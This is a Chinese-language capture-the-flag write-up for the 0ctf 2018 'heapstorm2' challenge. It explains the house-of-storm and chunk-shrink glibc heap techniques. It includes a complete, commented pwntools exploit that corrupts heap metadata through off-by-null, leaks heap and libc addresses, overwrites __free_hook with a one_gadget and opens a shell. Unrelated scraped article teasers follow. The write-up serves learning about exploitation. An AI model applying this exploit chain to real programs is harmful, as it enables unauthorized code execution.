(BUUCTF)0ctf_2018_heapstorm2

文章目录

  • 前置知识
  • 整体思路
    • house of storm
      • 如何进行一次house of storm
      • house of storm原理
      • house of storm具体流程
    • chunk shrink
  • exp

前置知识

  • unsortedbin attack
  • largebin attack
  • off by null构造chunk shrink

整体思路

这道题即是house of storm。除了house of storm,本道题还需要通过chunk shrink来获得重叠指针。因此本文将分别写house of stormchunk shrink两个方面。看完了原理,可以结合我的exp,有详细每一步的注释。

house of storm

如何进行一次house of storm

你可以做到:

  • 任意地址的chunk分配

你需要完成:

  • 控制一个unsortedbinlargebin中的chunk,且unsortedbin中的要比largebin中的大

house of storm原理

一句话描述一下house of storm:通过largebin attackfake chunkheader上错位写下一个0x550x56size,并在fake chunkbk处写一个堆地址。控制unsortedbinchunkbk指向要申请的fake chunk。申请一个大小为0x50chunk,先触发largebin attack,从而根据unsortedbinbk申请到fake chunk,完成任意地址写。

这实际上分为两个部分,首先,我们要知道,unsortedbin attack并非只能在指定位置写一个libc地址,还可以类似于fastbin attack完成一个chunk的分配,只是条件比较苛刻。一句话就是需要unsortedbinbk指向的chunkbk可写,其size合法。

那么我们便可以利用largebin attack来完成这些条件:

  • largebinattack可以写两个值
  • 第一个值错位写要申请的地方的size,使得堆地址最开始的0x55或者0x56size
  • 第二个值写要申请的地方的bk,使得bk为一个可写的值
  • 然后申请大小为0x50chunk即可申请到unsortedbinbk

house of storm具体流程

  • 假设要分配到fake chunk
  • unsortedbinchunkbkfake chunk的地址
  • largebin中的chunkbkfake chunk + 0x18 - 0x10
  • largebin中的chunkbk_nextsizefake chunk + 0x3 - 0x20
  • 申请一个大小为0x50chunk

chunk shrink

上面我们提到需要控制unsortedbinlargebin中的chunk,这一部分需要获得重叠指针。

chunk shrink算是另一种off by null的利用,相比于三明治结构要比较复杂。适用于一些极端情况。

使用方法:小大小三个chunk(不能是fastbin大小),设为abcb0x510(例如),在其最末尾写fake prev_size0x500,释放b置入unsortedbin,通过a进行off by nullbsize变为0x500。申请几个加起来为0x500chunk,第一个不能为fastbin大小,例如三个为0x880x180x448,设为def。先后释放dc,将会导致最开始申请的bc合并,由此再次申请回d,再申请回e可以获得重叠的e指针。

exp

from pwn import *
from LibcSearcher import *

filename = './0ctf_2018_heapstorm2'
context(log_level='debug')
local = 1
all_logs = []
elf = ELF(filename)
libc = elf.libc

def debug():
    for an_log in all_logs:
        success(an_log)
    pid = util.proc.pidof(sh)[0]
    gdb.attach(pid)
    pause()

choice_words = 'Command: '

menu_add = 1
add_index_words = ''
add_size_words = 'Size: '
add_content_words = ''

menu_del = 3
del_index_words = 'Index: '

menu_show = 4
show_index_words = 'Index: '

menu_edit = 2
edit_index_words = 'Index: '
edit_size_words = 'Size: '
edit_content_words = 'Content: '

def add(index=-1, size=-1, content=''):
    sh.sendlineafter(choice_words, str(menu_add))
    if add_index_words:
        sh.sendlineafter(add_index_words, str(index))
    if add_size_words:
        sh.sendlineafter(add_size_words, str(size))
    if add_content_words:
        sh.sendafter(add_content_words, content)

def delete(index=-1):
    sh.sendlineafter(choice_words, str(menu_del))
    if del_index_words:
        sh.sendlineafter(del_index_words, str(index))

def show(index=-1):
    sh.sendlineafter(choice_words, str(menu_show))
    if show_index_words:
        sh.sendlineafter(show_index_words, str(index))

def edit(index=-1, size=-1, content=''):
    sh.sendlineafter(choice_words, str(menu_edit))
    if edit_index_words:
        sh.sendlineafter(edit_index_words, str(index))
    if edit_size_words:
        sh.sendlineafter(edit_size_words, str(size))
    if edit_content_words:
        sh.sendafter(edit_content_words, content)

def leak_info(name, addr):
    output_log = '{} => {}'.format(name, hex(addr))
    all_logs.append(output_log)
    success(output_log)

while True:
    if local:
        sh = process(filename)
    else:
        sh = remote('node4.buuoj.cn', )


    # 第一步,利用off by null来构造chunk shrink进而分别获得重叠的一个largebin和一个unsortedbin chunk
    add(size=0x18) # 0
    add(size=0x508) # 1
    add(size=0x18) # 2
    add(size=0x20) # 3防止合并

    # 待会我们会将size为0x510的chunk进行off by null缩小到0x500,因此先在末尾写一个fake prev_size为0x500
    payload = b'a'*0x4f0 + p64(0x500)
    edit(index=1, size=len(payload), content=payload)

    # 将大小为0x510的chunk添加到unsortedbin中去
    delete(index=1)

    # 通过chunk 0进行off by null,来将unsortedbin中的大小为0x510的chunk改为0x500
    payload = b'a'*(0x18 - 12)
    edit(index=0, size=len(payload), content=payload)

    # 申请两个chunk,加起来为0x500,且unsortedbin此时为空了
    add(size=0x18) # 1
    add(size=0x4d8) # 4

    # 释放chunk1和chunk2,chunk2释放的时候由于prev_inuse=0,而prev_size为0x510,因此会将最开始的chunk0和chunk1整个部分合并
    delete(index=1)
    delete(index=2)

    # 再申请回来从而获得重叠指针
    add(size=0x18) # 1
    add(size=0x4d8) # 2,和4重合,大小为0x4e0
    add(size=0x20) # 5

    # 下面这一部分和上面一模一样,没有任何区别
    add(size=0x18) # 6
    add(size=0x508) # 7
    add(size=0x18) # 8
    add(size=0x20) # 9防止合并

    payload = b'a'*0x4f0 + p64(0x500)
    edit(index=7, size=len(payload), content=payload)

    delete(index=7)

    payload = b'a'*(0x18 - 12)
    edit(index=6, size=len(payload), content=payload)

    add(size=0x38) # 7
    add(size=0x4b8) # 10

    delete(index=7)
    delete(index=8)

    add(size=0x38) # 7
    add(size=0x4b8) # 8,和10重合,大小为0x4c0
    add(size=0x20) # 11

    # 先后将小的和大的置入unsortedbin,然后申请回大的。
    # 由于unsortedbin是先遍历先进入的(FIFO),因此会将小的置入largebin
    # 再释放大的,大的会添加到unsortedbin。现在大小为0x4e0的chunk在unsortedbin而大小为0x4c0的chunk在largebin
    delete(index=8)
    delete(index=2)
    add(size=0x4d8) # 2
    delete(index=2)

    # 接下来开始house of storm。
    # 我们设fake chunk在0x13370800前面0x20,以便于我们控制这一部分
    array = 0x13370800
    fake_chunk = array - 0x20

    # unsortedbin的chunk中的bk改为要申请的chunk,这里即是我们的fake chunk
    payload = p64(0) + p64(fake_chunk)
    edit(index=4, size=len(payload), content=payload)

    # laregbin attack可以同时写两个值为堆地址,bk的值+0x10处,以及bk_nextsize+0x20处
    # 核心的点就是我们要写fake_chunk + 3的地方为一个堆地址
    # 因为堆地址开头要么为0x55,要么为0x56,因此错位可以写出来一个fake chunk的size
    payload = p64(0) + p64(fake_chunk + 0x18 - 0x10) # 这里是fd和bk
    payload += p64(0) + p64(fake_chunk + 0x3 - 0x20) # 这里是fd_nextsize和bk_nextsize
    edit(index=10, size=len(payload), content=payload)

    # 由于我们这里是mmap出来的空间,因此申请的chunk的mmap位必须为1,因此只有当堆地址为0x56开头才对
    # 因此爆破。概率为1/2
    try:
        add(size=0x48) # 2
        payload = p64(0)*2 + p64(0)*3 + p64(0x13377331) + p64(0x13370800)
        edit(index=2, size=len(payload), content=payload)
    except EOFError:
        sh.close()
        continue
    
    # 申请到了,开始编辑,首先将两个用于加密的值都写为0,然后数组的第三个写为0x13377331从而可以打印
    # 然后根据数组的排列,下一个我们写0x133707e3,这里是一个堆地址
    payload = p64(0)*3 + p64(0x13377331) + p64(0x13370800) + p64(8) + p64(0x133707e3) + p64(8)
    edit(index=0, size=len(payload), content=payload)

    # 根据排列,现在index=1的话也就是0x133707e3,便可以泄露出堆地址
    show(index=1)
    sh.recvuntil('Chunk[1]: ')
    heap_leak = u64(sh.recv(6).ljust(8, b'\x00'))
    leak_info('heap_base', heap_leak)
    heap_base = heap_leak - 0x40


    # 同理,我们再打印libc。heap_base + 0x50的地方有一个libc地址。
    payload = p64(0)*3 + p64(0x13377331) + p64(0x13370800) + p64(8) + p64(heap_base + 0x50) + p64(8)
    edit(index=0, size=len(payload), content=payload)

    show(index=1)
    sh.recvuntil('Chunk[1]: ')
    libc_leak = u64(sh.recv(6).ljust(8, b'\x00'))
    leak_info('libc_leak', libc_leak)
    libc.address = libc_leak - libc.sym['__malloc_hook'] - 0x58 - 0x10
    leak_info('libc.address', libc.address)

    # 接下来只需要以同样方式来打free_hook即可!
    payload = p64(0)*3 + p64(0x13377331) + p64(0x13370800) + p64(8) + p64(libc.sym['__free_hook']) + p64(8)
    edit(index=0, size=len(payload), content=payload)

    one_gadget = [0x45216, 0x4526a, 0xf02a4, 0xf1147]
    payload = p64(libc.address + one_gadget[1])
    edit(index=1, size=len(payload), content=payload)
    
    delete(index=0)
    sh.interactive()
    # debug()
    break

参考内容

[原创]Largebin attack总结-二进制漏洞-看雪-安全社区|安全招聘|kanxue.com

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/344769.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

控制项目风险

一、风险预算 暴雪公司经理艾莉森,暴雪公司是一家小型工业企业,该公司的高管为了降低生产成本,决定搬迁工厂。项目经理明白实际情况与初始计划之间常常会有很大的出入。项目经理需要事先为一些事情做好准备,并在项目运作或预算方面…

mongo 聚合查询 - 小试牛刀

聚合查询configId为1231231312,且返回id和sum的map结构。 _id,count db.getCollection("s_p_collection").aggregate([{"$match": {"deleted"

《WebKit 技术内幕》学习之十一(3):多媒体

3 音频 3.1 音频元素 说完视频之后,接下来就是HTML5中对音频的支持情况。音频支持不仅指对声音的播放,还包括对音频的编辑和合成,以及对乐器数字接口(MIDI)等的支持,下面逐次介绍并分析它们。 3.1.1 H…

虹科分享丨AR与AI融合加速,医疗护理更便捷!

来源:虹科数字化与AR 虹科分享丨AR与AI融合加速,医疗护理更便捷! 原文链接:https://mp.weixin.qq.com/s/Fi0wNfk_TDXRo_1-6cSRNQ 欢迎关注虹科,为您提供最新资讯! #AR眼镜 #医疗护理 根据Reports and Da…

vue中图片不显示问题 - vue中静态资源加载

文章目录 vue中图片不显示问题静态资源URL 转换规则webpack 静态资源处理 图片不显示问题问题描述解决办法1:使用require引入require is not defined 解决办法2:使用import引入解决办法3:将图片放进公共文件夹static或public vue中图片不显示…

2024区块链应用最趋势,RWA实物资产化

作者 张群(赛联区块链教育首席讲师,工信部赛迪特聘资深专家,CSDN认证业界专家,微软认证专家,多家企业区块链产品顾问)关注张群,为您提供一站式区块链技术和方案咨询。 实物资产通证化&#xff0…

HarmonyOS鸿蒙学习基础篇 - 基本语法概述

书接上文 HarmonyOS鸿蒙学习基础篇 - 运行第一个程序 Hello World 基本语法概述 打开 entry>src>main>ets>pages>index.ets 代码如下代码详细解释如下: Entry //Entry装饰的自定义组件将作为UI页面的入口。在单个UI页面中,最多可以使用…

一份简单的JSON教程(个人学习笔记)

目录 前言 JSON基本介绍 JSON实例 JSON与XML对比 JSON语法 JSON VS XML json和xml在写法上有所不同 JSON 与 XML 的相同之处: JSON 与 XML 的不同之处: 最大的不同 为什么JSON比XML好 JSON对象 语法 访问对象的值 循环对象 嵌套JSON对象 …

highcharts.css文件的样式覆盖了options的series里面的color问题解决

文章目录 一、问题背景二、解决问题 一、问题背景 原本的charts我们的每个数据是有对应的color显示的,如下图: 后面我们系统做了黑白模式,引入了highcharts的css文件,结果highcharts的css文件中class的颜色样式覆盖了我们数据中的…

教学改进措施及方法

在教育的世界里,每一位教师都是一位探险家,探索着如何更好地点燃学生的求知欲望,帮助他们展翅飞翔。我,作为一位拥有多年教学经验的教师,也在这条路上不断摸索。今天,我想分享一些我在教学实践中的改进措施…

RabbitMQ中交换机的应用 ,原理 ,案例的实现

🎉🎉欢迎来到我的CSDN主页!🎉🎉 🏅我是平顶山大师,一个在CSDN分享笔记的博主。📚📚 🌟推荐给大家我的博客专栏《RabbitMQ中交换机的应用及原理,案…

消息中间件之八股面试回答篇:二、MQ如何保证消息不重复消费(幂等性)+RabbitMQ死信交换机(延迟队列)+回答模板

MQ消息重复消费问题 可能出现重复消费的场景 网络抖动消费者挂了 MQ通用的解决方案 每条消息设置一个唯一的标识id幂等方案:【 分布式锁、数据库锁(悲观锁、乐观锁) 】 RabbitMQ的死信交换机 当一个队列中的消息满足下列情况之一时&…

图卷积网络(GCN)

本文主要分为两部分,第一部分介绍什么是GCN,第二部分将进行详细的数学推导。 一、什么是GCN 1、GCN 概述 本文讲的GCN 来源于论文:SEMI-SUPERVISED CLASSIFICATION WITH GRAPH CONVOLUTIONAL NETWORKS,这是在GCN领域最经典的论文…

allure生成报告展示在vue-admin前端展示

生成测试数据 本栗子测试数据根据pytest测试用例生成 首先设置pytest.ini配置信息 a l l u r e d i r alluredir alluredir代表生产allure报告数据地址 t e s t c a s e d i r test_casedir testc​asedir代表测试用例路径 [pytest] addopts -vs --alluredir $alluredir$…

【C++】c++入门,认识c++版本的Hello world!

Hello,everybody!在c语言,数据结构初阶学完之后,咱们就要开始c的学习了。关于c的语法,有很多是为了弥补c语言的不足。在咱们学习c的过程中,随着你对c语法掌握的越来越熟练。我相信你会逐渐爱上c。那我们直接进入正题。 1.c兼容c …

【taro react】 ---- 自动化【根据运行命令直接编译对应的是测试环境或正式环境】

1. 场景 开发和发布程序中遇到最常见的问题,需要一个环境配置文件,然后在启动或者编译前,需要开发者去修改对应的环境变量来控制启动或者编译的环境是测试环境还是正式环境。同时如果是需要维护小程序的 Jenkins 自动上传,就会更加的麻烦,上传的小程序越多,我们需要维护…

STM32单片机学习5--STM32中断

文章目录 一、前言二、NVIC中断控制器2.1、NVIC结构体成员2.2、抢占优先级和响应优先级2.3、NVIC的优先级组 三、EXTI外部中断四、中断实战4.1、确定连线4.2、配置中断控制端口4.3、配置中断端口4.4、配置中断服务函数4.5、主函数调用 一、前言 单片机无系统执行逻辑&#xff…

Unity之Cinemachine教程

前言 Cinemachine是Unity引擎的一个高级相机系统,旨在简化和改善游戏中的相机管理。Cinemachine提供了一组强大而灵活的工具,可用于创建令人印象深刻的视觉效果,使开发人员能够更轻松地掌控游戏中的摄像机行为。 主要功能和特性包括&#x…

Linux代码行数统计工具cloc

这里推荐个Perl语言开发的开源代码统计工具cloc,全称为Count Lines of Code。支持多平台使用、多编程语言识别。 在Ubuntu下安装cloc: sudo apt-get install cloc运行cloc可以cd到指定目录运行: cloc . # 或者例如统计src目录下的代码行数 …

微信小程序跳转第三方网站链接

很简单&#xff0c;先定义一个跳转外网的页面&#xff0c;利用 web-view 标签&#xff0c;通过src设置你要跳转的外网地址 <web-view src"https://www.baidu.com"></web-view>然后在你的跳转按钮写跳转函数即可 wx.navigateTo({url: /pages/webView/inde…